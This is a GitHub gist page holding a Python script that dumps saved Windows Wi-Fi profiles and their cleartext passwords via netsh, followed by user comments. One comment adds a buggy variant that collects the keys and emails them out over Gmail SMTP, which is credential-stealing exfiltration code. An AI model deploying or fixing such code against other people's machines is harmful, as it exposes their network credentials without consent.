-
-
Save brentvollebregt/30d278eae98e2ff221add008259d42bb to your computer and use it in GitHub Desktop.
import subprocess | |
a = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors="ignore").split('\n') | |
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i] | |
for i in a: | |
try: | |
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8', errors="ignore").split('\n') | |
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] | |
try: | |
print ("{:<30}| {:<}".format(i, results[0])) | |
except IndexError: | |
print ("{:<30}| {:<}".format(i, "")) | |
except subprocess.CalledProcessError: | |
print ("{:<30}| {:<}".format(i, "ENCODING ERROR")) | |
a = input("") |
line 6 gives me the error:
"UnicodeDecodeError: 'utf-8' codec can't decode byte 0x85 in position 361: invalid start byte"
wow amazing
great program
@ZanoDev sorry for the late reply, didn't realise people actually visited this.
Looks like there are characters in one of your profiles that utf-8 can't decode. This could also be caused by languages to different characters than English. This will be an issue when you print out at the end as they will not be able to print to the console. Execute "netsh wlan show profiles" and you will be able to see the non-utf-8 character.
You could try using 'cp1252' instead of 'utf-8' decoding (has worked for others)
Hello,
So i tried to use this code but the passwords did not show up. I tried to put a [32] instead of [0] on line 10 and it gave me the whole line like this: Key Content : password.
Would the line be different on other CMDs or is that standard? Let me know.
Thanks
@SmokeyLowkey it should be standard across all of the lastest Windows distributions.
Check this out, this one is working fine
: https://gist.github.com/reveng007/b31da0e4df6942f4bc97ae8ac448e9f4
this is my code
need you help
import subprocess, smtplib, re
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com" , 587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
command = "netsh wlan show profile HONOR key=clear"
networks = subprocess.check_output(command, shell= True)
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
result = ""
for networks_name in networks_name_list:
command = "netsh wlan show profile" + networks_name + "key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result
send_mail(" my email", "my password", result)
this is error
Traceback (most recent call last):
File "C:\pythonProject(pogoda)\parol.py", line 16, in
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
File "C:\Python\lib\re.py", line 241, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object
Are you sure that it'll work?
what about Linux?
Ubuntu doesn't work with this
No only focuses on windows.
Btw, i Don't have any plan to update this...
If u want to commit or something u can do that.
No only focuses on windows. Btw, i Don't have any plan to update this... If u want to commit or something u can do that.
hm, tnx
great program